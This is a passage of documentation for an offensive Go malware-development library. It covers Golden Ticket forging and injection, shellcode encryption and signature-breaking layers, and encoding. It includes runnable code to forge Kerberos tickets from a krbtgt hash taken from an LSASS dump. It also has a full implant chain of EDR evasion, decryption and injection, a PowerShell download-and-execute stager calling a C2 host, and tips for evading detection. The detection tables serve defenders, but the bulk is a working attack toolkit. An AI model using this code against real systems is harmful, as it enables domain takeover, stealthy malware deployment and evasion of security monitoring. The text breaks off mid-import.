PAC the operator claims Domain Admins, Enterprise Admins,
Schema Admins, and Group Policy Creator Owners regardless of
what the AD database says. The PAC also fixes a LogonTime and
KickoffTime — set the kickoff 10 years in the future and the
ticket is valid for a decade.
Two PAC signatures (server checksum + KDC checksum) protect the
PAC from tampering; both are computed with the krbtgt key, so once
you have the key you control the signatures too. Member servers
typically don't validate the KDC checksum (the
PAC_VALIDATE_TICKET callback is rarely wired up), making the
ticket usable everywhere.
The package supports the three crypto suites Active Directory
shipped with NT 4 → today: RC4-HMAC (NT hash, 16 bytes; legacy but
universally present), AES128-CTS-HMAC-SHA1-96 (16 bytes), and
AES256-CTS-HMAC-SHA1-96 (32 bytes). Modern AES-only domains accept
RC4 tickets only when RC4_HMAC is explicitly enabled — check
msDS-SupportedEncryptionTypes on the krbtgt object before
choosing.
How It Works
flowchart LR
P[Params<br>Domain + krbtgt hash<br>+ user/RID/groups] --> PAC[buildPAC<br>KERB_VALIDATION_INFO<br>+ PAC_CLIENT_INFO<br>+ 2× PAC_SIGNATURE_DATA]
PAC --> ETP[EncTicketPart<br>flags + cname + crealm<br>+ key + AuthTime/EndTime<br>+ AuthorizationData=PAC]
ETP --> ENC[encrypt with krbtgt key<br>RC4 / AES128 / AES256]
ENC --> KC[KRB-CRED<br>kirbi blob]
KC --> OUT{output}
OUT -->|Forge returns bytes| DISK[ccache / .kirbi file<br>cross-platform]
OUT -->|Submit on Windows| LSA[LsaCallAuthenticationPackage<br>KerbSubmitTicketMessage]
LSA --> CACHE[per-LUID TGT cache]
Implementation details:
- The PAC server signature covers the encrypted ticket bytes; the KDC signature covers the server signature. Both are HMAC-MD5 for RC4 / HMAC-SHA1-96 for AES — keyed on the krbtgt long-term key, which is also the ticket-encryption key.
default_templates.goshipsDefaultAdminGroups—{512, 513, 518, 519, 520}(Domain Admins, Domain Users, Schema Admins, Enterprise Admins, Group Policy Creator Owners).Forgeis deterministic for a fixedParams+ a fixedParams.NowFunc— useful for tests and reproducibility.SubmitcallsLsaCallAuthenticationPackagewithKerbSubmitTicketMessage. The kirbi is written into the calling user's per-LUID cache; the next outbound Kerberos operation from the process picks it up. No domain controller contact is required.
API Reference
type EType int
Encryption type for the krbtgt long-term key. Constants:
| Value | Name | Hash size |
|---|---|---|
ETypeRC4HMAC | rc4-hmac | 16 bytes (NT hash) |
ETypeAES128CTSHMACSHA196 | aes128-cts-hmac-sha1-96 | 16 bytes |
ETypeAES256CTSHMACSHA196 | aes256-cts-hmac-sha1-96 | 32 bytes |
type Hash struct
The krbtgt long-term key. EType selects the algorithm; Bytes
must match the size for that EType.
type Params struct
Forge inputs. Required fields: Domain, DomainSID, Hash. All
others have sensible defaults — minimal usage is
p := goldenticket.Params{
Domain: "corp.example.com",
DomainSID: "S-1-5-21-1111-2222-3333",
Hash: goldenticket.Hash{EType: goldenticket.ETypeAES256CTSHMACSHA196, Bytes: aes256Bytes},
}
The defaults yield "Administrator (RID 500), every admin group, 10-year lifetime" — the standard mimikatz Golden Ticket recipe.
var DefaultAdminGroups
[]uint32{512, 513, 518, 519, 520}. Used when Params.Groups is
nil or empty.
Forge(p Params) ([]byte, error)
Build and encrypt the kirbi. Cross-platform pure Go.
Returns: []byte containing the KRB-CRED blob (kirbi format,
binary-compatible with mimikatz / Rubeus / klist outputs).
Submit(kirbi []byte) error (Windows)
Inject the kirbi into the calling user's LSA TGT cache via
LsaCallAuthenticationPackage(KerbSubmitTicketMessage). The
process must already hold a logon session — typically any
interactive or non-anonymous process satisfies this.
Side effects: writes one TGT into the calling user's per-LUID cache. Does not contact a DC.
Examples
Simple — forge with defaults, write to disk
import (
"os"
"github.com/oioio-space/maldev/credentials/goldenticket"
)
p := goldenticket.Params{
Domain: "corp.example.com",
DomainSID: "S-1-5-21-1111-2222-3333",
Hash: goldenticket.Hash{
EType: goldenticket.ETypeAES256CTSHMACSHA196,
Bytes: aes256KrbtgtKey,
},
}
kirbi, err := goldenticket.Forge(p)
if err != nil {
panic(err)
}
_ = os.WriteFile("admin.kirbi", kirbi, 0600)
Composed — forge + inject into current process
kirbi, err := goldenticket.Forge(p)
if err != nil {
panic(err)
}
if err := goldenticket.Submit(kirbi); err != nil {
panic(err)
}
// any subsequent Kerberos call (SMB, LDAP, RDP) from this process
// authenticates as p.User with the forged group memberships.
Advanced — chained off the sekurlsa extractor
import (
"github.com/oioio-space/maldev/credentials/goldenticket"
"github.com/oioio-space/maldev/credentials/sekurlsa"
)
res, _ := sekurlsa.ParseFile(`C:\dc01-lsass.dmp`, nil)
defer res.Wipe()
// Find the krbtgt session in the parsed dump.
var krbtgtKey []byte
for _, sess := range res.Sessions {
if sess.UserName == "krbtgt" {
for _, c := range sess.Credentials {
if msv, ok := c.(*sekurlsa.MSVCredential); ok {
krbtgtKey = msv.NTHash
}
}
}
}
p := goldenticket.Params{
Domain: "corp.example.com",
DomainSID: "S-1-5-21-1111-2222-3333",
Hash: goldenticket.Hash{
EType: goldenticket.ETypeRC4HMAC,
Bytes: krbtgtKey,
},
}
kirbi, _ := goldenticket.Forge(p)
_ = goldenticket.Submit(kirbi)
See ExampleForge
ExampleSubmitfor the runnable variants.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
TGT lifetime > MaxTicketLifetime (default 10h) | Kerberos audit (Event 4769); long-lived tickets stand out trivially |
Domain Admins membership for an account that doesn't have it in AD | LDAP cross-checks against actual memberOf |
| RC4 etype on a domain that enforces AES | Event 4769 with Ticket Encryption Type 0x17 — anomalous on modern domains |
LsaCallAuthenticationPackage from non-Lsass process | EDR API telemetry (Defender for Identity, MDE) |
| Ticket reuse from atypical workstations | Authentication-source IP correlation |
D3FEND counters:
- D3-AZET — flags long-lived TGTs and unexpected admin-group access.
- D3-NTA — correlates Kerberos traffic to authentication-source anomalies.
Hardening for the operator:
- Set
Lifetimeto a value the domain's policy actually allows (MaxTicketLifetime, default 10h) at the cost of frequent refreshes — reduces the loudest indicator. - Use the actual etype the domain expects; AES256 is the modern default.
- Forge for a non-admin principal that legitimately needs broad
access (Backup Operator, Replicator) instead of
Administratorto dodge naive group-name allowlists. - Forge
Forgeon a Linux launchpad and only ship the kirbi to the target — the binary size on the Windows host stays minimal.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket | full — Forge + Submit | D3-AZET, D3-NTA |
| T1550.003 | Use Alternate Authentication Material: Pass the Ticket | partial — Submit is the inject side; Forge produces the ticket | D3-NTA |
Limitations
- krbtgt rotation defeats the ticket. AD silently retires forged TGTs after the second rotation — no error, the ticket simply stops decrypting.
- No Diamond / Sapphire variants. This package forges classic Golden Tickets only; Diamond Tickets (modify-don't-forge) and Sapphire Tickets (modify a real TGT's PAC via S4U2Self) are not in scope.
- No Silver Ticket support. Silver Tickets target a service
account's NTLM hash and forge service-specific TGS tickets;
algorithm overlaps but
PrincipalNameand the encryption key are different — separate package. - Submit is per-process, per-LUID. The injected ticket only helps Kerberos calls from this process; child processes inherit the cache but unrelated processes do not.
- PAC validation gap.
Forgedoes not validate the produced PAC against MS-PAC §2 except by checksumming. Hand-crafted group RIDs that don't exist won't be rejected by the package itself — defenders can.
See also
credentials/sekurlsa— extracts krbtgt hashes from a DC LSASS dump.credentials/lsassdump— produces the LSASS dump consumed by sekurlsa.- Operator path — where Golden Ticket fits in the harvest chain.
- Detection eng path — Kerberos audit signals.
- MS-PAC §2 — public PAC structure spec.
Crypto techniques
The crypto/ package supplies confidentiality and signature-breaking
primitives for payload protection. Two surfaces sit side-by-side: strong
AEAD ciphers for the outer envelope, and lightweight transforms for layered
unpackers and signature defeat.
[!NOTE] Encoding (Base64, UTF-16LE, PowerShell
-EncodedCommand) lives indocs/techniques/encode. Hashing (cryptographic + fuzzy + ROR13) lives indocs/techniques/hash.
TL;DR
flowchart LR
SC[shellcode] -->|EncryptAESGCM| ENV[encrypted envelope]
ENV -->|optional layers| OBF[XTEA / S-Box / Matrix]
OBF --> EMBED[ship in implant]
EMBED -.runtime.-> DEC[DecryptAESGCM]
DEC --> WIPE[memory.SecureZero key]
WIPE --> RUN[inject.Inject]
Build-time: encrypt with AES-256-GCM (or XChaCha20-Poly1305), optionally wrap in 1–2 lightweight obfuscation layers, embed in the implant. Runtime: decrypt → wipe key → inject → wipe plaintext.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
crypto | payload-encryption.md | very-quiet | AEAD (AES-GCM, ChaCha20), stream/block (RC4, TEA, XTEA), signature-breaking transforms (S-Box, Matrix, XOR, ArithShift) |
The package mixes three layers; the technique page documents each layer separately.
Quick decision tree
| You want to… | Use |
|---|---|
| …encrypt the outer payload envelope | crypto.EncryptAESGCM (preferred) or crypto.EncryptChaCha20 |
| …generate a sane key | crypto.NewAESKey / crypto.NewChaCha20Key |
| …break a YARA byte signature without changing semantics | crypto.NewSBox + SubstituteBytes |
| …add a tiny in-process unpacker stage | crypto.EncryptXTEA |
| …diffuse byte patterns across a block (Hill cipher) | crypto.MatrixTransform |
| …match a legacy Metasploit handler | crypto.EncryptRC4 (cryptographically broken — compatibility only) |
| …compute SHA-256 / MD5 / ROR13 | hash package |
| …Base64 / UTF-16LE / PowerShell-encode | encode package |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | crypto (XOR, TEA, S-Box, Matrix, ArithShift) | D3-SEA (Static Executable Analysis) |
| T1027.013 | Encrypted/Encoded File | crypto (AES-GCM, ChaCha20, RC4) | D3-FCR (File Content Rules) |
See also
- Operator path: payload protection
- Researcher path: cipher choice
- Detection eng path: high-entropy artefacts
encode— transport-safe representations.hash— integrity + fuzzy similarity + ROR13.cleanup/memory.SecureZero— pair to wipe keys after use.
Payload encryption & obfuscation
TL;DR
Three-tier toolkit: AEAD ciphers (AES-GCM, XChaCha20-Poly1305) for the outer envelope; lightweight stream/block ciphers (RC4, TEA, XTEA) for in-process unpackers; signature-breaking permutations (S-Box, Matrix Hill, ArithShift, XOR) to defeat YARA byte patterns. Pure Go, no CGo, cross-platform.
Pick the primitive
Side-by-side. Pick the row whose tradeoffs match the deployment context, then click through to the API Reference for that function.
| Primitive | Layer | Speed | Entropy profile | Key | Nonce / IV | Authenticated | Reversible | Static signature | Best for |
|---|---|---|---|---|---|---|---|---|---|
| AES-GCM | AEAD outer | fast (AES-NI) | uniform high (256 bits) | 32 B | 12 B random | ✅ tag | yes | low (random) | Default outer envelope; tampering detection mandatory. |
| XChaCha20-Poly1305 | AEAD outer | fast | uniform high | 32 B | 24 B random | ✅ tag | yes | low | AES-NI absent; misuse-resistant nonce (24 B random ≈ unique). |
| RC4 | Stream | very fast | uniform | 5–256 B | none | ❌ | yes | YARA: keystream bias | Cheap unpacker between layers; never as outer envelope. |
| TEA | Block (64-bit) | very fast | uniform | 16 B | none (ECB) | ❌ | yes | low | Tiny block primitive when binary footprint matters. |
| XTEA | Block (64-bit) | very fast | uniform | 16 B | none (ECB) | ❌ | yes | low | Same as TEA but with corrected key schedule. |
| XOR | Stream | trivial | matches key length | any | implicit | ❌ | yes | YARA: visible key | Dev / scratch only; never alone in production. |
| S-Box (substitute) | Permutation | very fast | uniform when keyed | 256-byte table | none | ❌ | yes (Reverse*) | breaks byte-frequency YARA | Layer between AES-GCM and embed to flatten histograms. |
| Matrix Hill | Permutation | medium (per-row) | uniform | 4×4 / 8×8 matrix | none | ❌ | yes | breaks contiguous-byte YARA | Defeat contiguous-byte signatures; pair with S-Box. |
| ArithShift | Permutation | very fast | non-uniform | 1–4 B | none | ❌ | yes | low | Cheap layer that produces non-uniform entropy — masks an AES blob's "looks-random" tell. |
How to read the matrix:
- Authenticated = does the cipher detect tampering on decrypt? Only the AEAD ciphers do; everything else returns "decrypted" garbage on bit-flips. Always run an AEAD as the outermost layer if integrity matters.
- Static signature = how visible the cipher choice is to a YARA scanner. Permutations break histogram / contiguous-byte rules; AEAD ciphers leave no static fingerprint at all (output is random).
- Speed is qualitative. For multi-MB payloads, prefer AES-GCM (AES-NI) or XChaCha20-Poly1305 — the rest allocate per call.
Composition pattern (build → embed → runtime):
plaintext
↓ EncryptAESGCM(key) [outer AEAD, uniform output]
↓ SubstituteBytes(table) [S-Box: flatten histogram]
↓ MatrixTransform(M) [break contiguous bytes]
↓ ArithShift(k) [non-uniform entropy mask]
ciphertext bytes embedded into the implant
Reverse on the runtime side: ReverseArithShift →
ReverseMatrixTransform → ReverseSubstituteBytes →
DecryptAESGCM. Always wipe the key buffer with
memory.SecureZero immediately after DecryptAESGCM returns.
Primer
Static signatures are the cheapest defender win. A raw shellcode buffer
sitting in a binary's .data section gets matched by a four-byte YARA
rule before it ever runs. Encryption breaks that match by replacing the
plaintext with high-entropy gibberish derivable only with the key.
The crypto package layers three protection levels. The outer
envelope uses an authenticated cipher (AEAD) — anything else risks an
attacker tampering with the ciphertext to redirect execution. The
stream/block layer is for tiny in-process unpackers where AES-GCM is
overkill but a passable cipher is still wanted. The transform layer
mutates byte distribution without giving cryptographic confidentiality —
useful when the goal is breaking signatures rather than hiding intent.
The package is pure Go, has no CGo dependencies, cross-compiles to Linux/Windows/macOS targets, and avoids syscalls entirely (every operation is a constant-time arithmetic transform on a buffer).
How it works
flowchart LR
SC[raw shellcode] -->|build time| ENC[crypto.EncryptAESGCM]
ENC --> STAGE1[ciphertext + nonce]
STAGE1 -.optional.-> WRAP[crypto.EncryptXTEA + SubstituteBytes]
WRAP --> EMBED["go:embed in implant"]
EMBED -->|runtime| LOAD[load embedded blob]
LOAD --> UNWRAP1[ReverseSubstituteBytes + DecryptXTEA]
UNWRAP1 --> DEC[crypto.DecryptAESGCM]
DEC --> WIPE_K[memory.SecureZero AES key]
WIPE_K --> EXEC[inject.Inject]
EXEC --> WIPE_P[memory.SecureZero plaintext]
Build-time: encrypt with AEAD, optionally wrap in cheaper layers.
Runtime: peel layers in reverse, wipe the key the moment the AEAD Open
returns, inject, wipe the plaintext.
AES-GCM internals
sequenceDiagram
participant App as "Implant"
participant Pkg as "crypto"
participant Std as "crypto/aes + cipher"
App->>Pkg: EncryptAESGCM(key, plaintext)
Pkg->>Std: aes.NewCipher(key) -- 32 bytes
Pkg->>Std: cipher.NewGCM(block)
Pkg->>Std: rand.Read(nonce) -- 12 bytes
Pkg->>Std: gcm.Seal(nonce, nonce, plaintext, nil)
Std-->>Pkg: nonce ++ ciphertext ++ tag
Pkg-->>App: combined output
App->>Pkg: DecryptAESGCM(key, combined)
Pkg->>Pkg: nonce = first 12 bytes of combined
Pkg->>Std: gcm.Open(nil, nonce, rest, nil)
Note over Std: Verifies the 16-byte tag<br>before returning plaintext
Std-->>Pkg: plaintext or ErrAuthFailed
Pkg-->>App: plaintext
The 12-byte random nonce is prepended to the output, so callers do not manage nonces. Re-encrypting the same plaintext yields a different ciphertext every time.
TEA / XTEA round equation
64 rounds, 32-bit half-blocks, 128-bit key:
$$ \begin{aligned} \text{sum} &\mathrel{+}= \delta \ v_0 &\mathrel{+}= ((v_1 \ll 4) + k_0) \oplus (v_1 + \text{sum}) \oplus ((v_1 \gg 5) + k_1) \ v_1 &\mathrel{+}= ((v_0 \ll 4) + k_2) \oplus (v_0 + \text{sum}) \oplus ((v_0 \gg 5) + k_3) \end{aligned} $$
with $\delta = \texttt{0x9E3779B9}$ (golden ratio constant). XTEA fixes TEA's equivalent-key weakness by mixing the round counter into the key schedule, but the structure is the same.
Matrix (Hill cipher mod 256)
For an $n \times n$ key matrix $K$ over $\mathbb{Z}_{256}$ with $\gcd(\det K, 256) = 1$, encryption operates per $n$-byte block $\vec{p}$:
$$ \vec{c} = K \vec{p} \mod 256 $$
NewMatrixKey(n) searches random matrices until one is invertible mod
256. The inverse is precomputed and returned alongside.
API Reference
NewAESKey() ([]byte, error)
Generate a fresh 32-byte AES-256 key from crypto/rand.
Returns:
[]byte— 32 random bytes suitable as input toEncryptAESGCM.error— wrapscrypto/randfailure (extremely rare, OS entropy exhaustion).
Side effects: none — pure call into the OS CSPRNG.
OPSEC: invisible. Reads RtlGenRandom / BCryptGenRandom on Windows.
EncryptAESGCM(key, plaintext []byte) ([]byte, error)
AES-256-GCM AEAD encryption with a fresh random 12-byte nonce.
Parameters:
key— 32 bytes (AES-256). Shorter or longer keys return an error.plaintext— payload to encrypt; any length, including zero.
Returns:
[]byte—nonce ‖ ciphertext ‖ tag(12 + len(plaintext) + 16 bytes).error— invalid key length orcrypto/randfailure.
Side effects: allocates len(plaintext) + 28 bytes.
OPSEC: very-quiet. Pure userland arithmetic.
DecryptAESGCM(key, ciphertext []byte) ([]byte, error)
Inverse of EncryptAESGCM. Extracts the prepended nonce, verifies the
GCM tag, returns the plaintext.
Parameters:
key— same 32-byte key used to encrypt.ciphertext— output ofEncryptAESGCM(must be at least 28 bytes).
Returns:
[]byte— original plaintext.error— invalid key length, ciphertext too short, or authentication-tag failure (tampering or wrong key).
NewChaCha20Key() ([]byte, error)
Generate a fresh 32-byte XChaCha20-Poly1305 key.
EncryptChaCha20(key, plaintext []byte) ([]byte, error)
XChaCha20-Poly1305 AEAD encryption with a fresh random 24-byte nonce.
Parameters: key 32 bytes; plaintext any length.
Returns: nonce ‖ ciphertext ‖ tag (24 + len(plaintext) + 16 bytes).
OPSEC: very-quiet. Prefer over AES-GCM on targets without AES-NI (older CPUs, ARM) — pure ChaCha20 is faster there.
DecryptChaCha20(key, ciphertext []byte) ([]byte, error)
Inverse of EncryptChaCha20.
EncryptRC4(key, data []byte) ([]byte, error)
RC4 stream cipher. Symmetric — call again to decrypt.
[!CAUTION] RC4 is cryptographically broken (biased keystream, related-key attacks). The only legitimate use case in this package is matching Metasploit's
rc4payload format on the handler side.
Parameters: key 1–256 bytes; data any length.
Returns: XORed buffer (same length as input).
XORWithRepeatingKey(data, key []byte) ([]byte, error)
XOR each byte of data with the cyclic key. Symmetric.
Parameters: data any length; key ≥ 1 byte (zero-length returns an
error).
Returns: XORed buffer.
OPSEC: very-quiet but trivially reversible if any plaintext is known. Use only as a layer atop an AEAD.
EncryptTEA(key [16]byte, data []byte) ([]byte, error)
TEA block cipher (8-byte block, 64 rounds). PKCS#7-padded.
Parameters: key exactly 16 bytes; data any length (padded
internally).
Returns: ciphertext, length rounded up to the next multiple of 8.
[!WARNING] TEA has an equivalent-key weakness — every key has three "siblings" that produce the same ciphertext. Prefer XTEA for new code.
DecryptTEA(key [16]byte, data []byte) ([]byte, error)
Inverse of EncryptTEA. Strips PKCS#7 padding.
EncryptXTEA(key [16]byte, data []byte) ([]byte, error)
XTEA block cipher — TEA with a fixed key schedule. Same block size and round count.
DecryptXTEA(key [16]byte, data []byte) ([]byte, error)
Inverse of EncryptXTEA.
NewSBox() (sbox [256]byte, inverse [256]byte, err error)
Generate a random byte permutation and its inverse. Use as a non-linear mixing layer between cryptographic stages.
Returns: the forward and inverse permutation tables, plus
crypto/rand errors.
SubstituteBytes(data []byte, sbox [256]byte) []byte
Apply the S-Box byte-by-byte. Pair with ReverseSubstituteBytes to undo.
ReverseSubstituteBytes(data []byte, inverse [256]byte) []byte
Inverse of SubstituteBytes.
NewMatrixKey(n int) (key, inverse [][]byte, err error)
Generate a random invertible $n \times n$ matrix mod 256. Searches until $\gcd(\det K, 256) = 1$.
Parameters: n ∈ {2, 3, 4}.
Returns: key matrix, inverse matrix, error for invalid n or
search exhaustion.
MatrixTransform(data []byte, key [][]byte) ([]byte, error)
Hill-cipher block transform mod 256. Each $n$-byte block becomes $K\vec{p} \mod 256$. PKCS#7-padded.
ReverseMatrixTransform(data []byte, inverse [][]byte) ([]byte, error)
Inverse Hill-cipher transform.
ArithShift(data, key []byte) ([]byte, error)
Position-dependent byte add (mod 256). Adds key[i % len(key)] + i to
each byte. Defeats simple frequency analysis that XOR doesn't.
ReverseArithShift(data, key []byte) ([]byte, error)
Inverse of ArithShift.
Examples
Simple
key, _ := crypto.NewAESKey()
ct, _ := crypto.EncryptAESGCM(key, []byte("shellcode goes here"))
pt, _ := crypto.DecryptAESGCM(key, ct)
See ExampleEncryptAESGCM and ExampleEncryptChaCha20 in
crypto_example_test.go for
runnable variants.
Composed (with cleanup/memory for key wiping)
Decrypt the embedded blob, wipe the key the moment Open returns, run
the payload, wipe the plaintext:
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
)
shellcode, err := crypto.DecryptAESGCM(aesKey, encryptedPayload)
if err != nil {
return err
}
memory.SecureZero(aesKey)
// ... use shellcode ...
memory.SecureZero(shellcode)
Advanced (XTEA + S-Box layered packer)
A two-stage in-process unpacker. The outer S-Box defeats YARA rules that look at byte distribution; the inner XTEA round destroys whatever structure leaks through.
import "github.com/oioio-space/maldev/crypto"
// Build time
var xteaKey [16]byte
_, _ = crypto.NewSBox() // warm CSPRNG
sbox, inv, _ := crypto.NewSBox()
copy(xteaKey[:], aesKeyMaterial[:16])
stage1, _ := crypto.EncryptXTEA(xteaKey, shellcode)
packed := crypto.SubstituteBytes(stage1, sbox)
// Embed `packed` + `xteaKey` + `inv` in the implant.
// Runtime
unsbox := crypto.ReverseSubstituteBytes(packed, inv)
orig, _ := crypto.DecryptXTEA(xteaKey, unsbox)
Complex (full encrypt → evade → inject → wipe chain)
End-to-end implant body. Apply syscall evasion first, decrypt the payload, wipe the key, inject through an indirect-syscall caller, wipe the plaintext.
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
var (
encrypted []byte // //go:embed payload.aes
aesKey []byte // //go:embed key.bin
)
func run() error {
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil {
return err
}
memory.SecureZero(aesKey)
inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
if err != nil {
return err
}
if err := inj.Inject(shellcode); err != nil {
return err
}
memory.SecureZero(shellcode)
return nil
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
High-entropy .data / .rdata section | Compile-time YARA entropy >= 7.5, ML classifiers (PE byte histograms) |
| Decrypt routine signature | Static unpacker fingerprints (e.g. aes.NewCipher followed by cipher.NewGCM from a non-go-tooling-built binary) |
| Plaintext shellcode in process memory after decrypt | EDR memory scans (Defender's AMSI-like for native code, MDE Live Response) |
| Long-lived AES key in heap | YARA scanning of process RWX/RW pages — wipe immediately after Open |
D3FEND counters:
- D3-SEA — static executable analysis defeats high-entropy sections via unpacker emulation.
- D3-PSA — process-spawn analysis catches decrypt-then-execute patterns.
- D3-FCR —
YARA over
.dataafter unpacker emulation.
Hardening: wipe keys before injection (cleanup/memory.SecureZero);
chunk decryption + injection across cache lines so plaintext does not
sit in RWX longer than a few microseconds; pair with sleep-masking
(evasion/sleepmask) for long-running implants.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | obfuscation transforms (XOR, TEA, S-Box, Matrix, ArithShift) | D3-SEA |
| T1027.013 | Encrypted/Encoded File | AEAD ciphers (AES-GCM, ChaCha20) and stream cipher (RC4) | D3-FCR |
Limitations
- Key distribution unsolved. This package does not embed, derive, fetch, or rotate keys — it ciphers buffers. A real implant must source the key from somewhere (build-time embed, environment, C2 fetch). The weakest link in any payload-encryption design.
- Entropy is detectable. A 200 KB high-entropy section in a Go
binary is suspicious by itself. Layer with non-uniform transforms
(
ArithShift) or split into multiple sections for cover. - Ephemeral plaintext still touchable. Between decrypt and
Inject, the plaintext lives on the Go heap. EDR memory scans (Defender, CrowdStrike) sweep RW pages — wipe the buffer before the next syscall, not after. - No streaming API. Every function takes the whole buffer. For
multi-MB payloads, allocate carefully —
EncryptAESGCMallocates exactly once, butMatrixTransformallocates intermediate row vectors. - RC4 broken. Compatibility-only; do not use as the outer envelope.
- TEA equivalent keys. Three keys decrypt to the same plaintext; prefer XTEA.
See also
encode— transport-safe representations to wrap the ciphertext for HTTP / PowerShell / JSON channels.hash— integrity, ROR13 API hashing, fuzzy similarity for variant detection.cleanup/memory.SecureZero— pair to wipe keys and plaintext.evasion/sleepmask— re-encrypt the payload during sleep windows.- Bernstein, ChaCha, a variant of Salsa20 — XChaCha20-Poly1305 source paper.
- NIST SP 800-38D — GCM specification.
Encode techniques
The encode/ package provides transport-safe byte transformations:
Base64 (standard + URL-safe), UTF-16LE, ROT13, and the
PowerShell -EncodedCommand format. Encoding is never confidentiality —
it survives channels that mangle arbitrary bytes (HTTP headers, JSON
strings, PowerShell command lines, stdin pipes).
TL;DR
flowchart LR
PT[plaintext] -->|encrypt| ENC[crypto.EncryptAESGCM]
ENC -->|then encode| B64[encode.Base64Encode]
B64 --> WIRE[ship over HTTP / JSON / PS]
WIRE -.unwrap.-> B64D[encode.Base64Decode]
B64D --> DEC[crypto.DecryptAESGCM]
DEC --> PAYLOAD[shellcode]
Encrypt first, then encode. Decode last, then decrypt.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
encode | encode.md | very-quiet | Base64 (std + URL), UTF-16LE, ROT13, PowerShell -EncodedCommand |
Quick decision tree
| You want to… | Use |
|---|---|
| …embed a binary blob in Go source / JSON / HTTP header | encode.Base64Encode |
| …pass a payload through a URL or filename | encode.Base64URLEncode |
| …feed a Windows API that takes UTF-16 LPWSTR | encode.ToUTF16LE |
…run a PowerShell script via -EncodedCommand | encode.PowerShell |
| …break a static string signature on Win32 API names | encode.ROT13 (novelty) |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | encode (PowerShell, Base64) | D3-SEA |
| T1027.013 | Encrypted/Encoded File | encode (Base64 wrapper for ciphertext) | D3-FCR |
| T1140 | Deobfuscate/Decode Files or Information | encode.Base64Decode, encode.Base64URLDecode | D3-FCR |
See also
crypto— confidentiality layer (encrypt before encoding).- Operator path: stagers and encoders
- Detection eng path:
-EncodedCommandhunting
Encode
TL;DR
Transport-safe byte transforms: Base64 (RFC 4648 §4 + §5), UTF-16LE,
ROT13, and PowerShell -EncodedCommand (Base64(UTF-16LE(script))).
Pure functions, no system interaction, cross-platform.
Primer
Encoding solves a different problem from encryption. Many channels
cannot transport arbitrary bytes: HTTP headers reject control characters,
URLs reject + and /, JSON strings reject zero bytes, command lines
on Windows expect UTF-16, and powershell.exe -EncodedCommand accepts
only Base64-of-UTF-16LE.
encode covers each of those representations with a one-line API. It is
not a security boundary — Base64 is reversible by anyone who reads the
output. The pattern in this codebase is encrypt with crypto, then
encode for the wire: confidentiality from the cipher, transportability
from the encoding.
The package has no Windows-specific code (despite UTF-16LE being Windows' native string format) and cross-compiles cleanly to every Go target.
How it works
flowchart LR
subgraph build [Build / Encode]
PT[plaintext] --> ENC[crypto.EncryptAESGCM]
ENC --> CT[ciphertext]
CT --> B64[encode.Base64Encode]
end
subgraph wire [Channel]
B64 --> JSON[JSON / HTTP header / URL / PS arg]
end
subgraph runtime [Runtime / Decode]
JSON --> B64D[encode.Base64Decode]
B64D --> CT2[ciphertext]
CT2 --> DEC[crypto.DecryptAESGCM]
DEC --> RUN[plaintext for inject]
end
PowerShell(script) is a convenience wrapper:
Base64Encode(ToUTF16LE(script)) — exactly what powershell.exe -EncodedCommand parses.
API Reference
Base64Encode(data []byte) string
Encode data as standard Base64 (RFC 4648 §4, padded with =).
Side effects: allocates 4 * ceil(len(data)/3) bytes.
OPSEC: very-quiet. Pure data transform.
Base64Decode(s string) ([]byte, error)
Decode standard Base64.
Returns: decoded bytes, or error for malformed input.
Base64URLEncode(data []byte) string
URL-safe Base64 (RFC 4648 §5) — uses - and _ instead of + and /.
Safe in URLs, query strings, filenames.
Base64URLDecode(data string) ([]byte, error)
Inverse of Base64URLEncode.
ToUTF16LE(s string) []byte
Convert a Go UTF-8 string to little-endian UTF-16 bytes — the format
Windows API parameters (LPWSTR) and powershell.exe -EncodedCommand
expect.
Returns: byte slice with two bytes per BMP code point (more for supplementary planes).
Side effects: allocates 2 * <utf-16 code unit count> bytes.
PowerShell(script string) string
Convenience: Base64Encode(ToUTF16LE(script)). Drop the result into
powershell.exe -EncodedCommand <output>.
ROT13(s string) string
Caesar shift by 13 over ASCII letters; non-alpha bytes pass through
unchanged. Self-inverse: ROT13(ROT13(x)) == x.
[!CAUTION] ROT13 is not security. Provided for novelty / signature-breaking on ASCII strings (e.g. WinAPI function names in obfuscated source).
Examples
Simple
encoded := encode.Base64Encode([]byte("hello"))
decoded, _ := encode.Base64Decode(encoded)
See ExampleBase64Encode, ExamplePowerShell, ExampleToUTF16LE in
encode_example_test.go.
Composed (crypto + encode for HTTP transport)
Encrypt first, then encode for the wire:
import (
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/encode"
)
key, _ := crypto.NewAESKey()
ct, _ := crypto.EncryptAESGCM(key, rawShellcode)
wire := encode.Base64Encode(ct)
// transport `wire` over HTTP / JSON / etc.
// Receiver:
ct2, _ := encode.Base64Decode(wire)
pt, _ := crypto.DecryptAESGCM(key, ct2)
Advanced (PowerShell stager)
Generate a one-liner that downloads and executes a remote script:
script := `IEX (New-Object Net.WebClient).DownloadString('https://c2.example/s')`
arg := encode.PowerShell(script)
// powershell.exe -NoProfile -EncodedCommand <arg>
Complex (encode + crypto + transport)
End-to-end stager that pulls an encrypted payload from C2, decodes, decrypts, injects:
import (
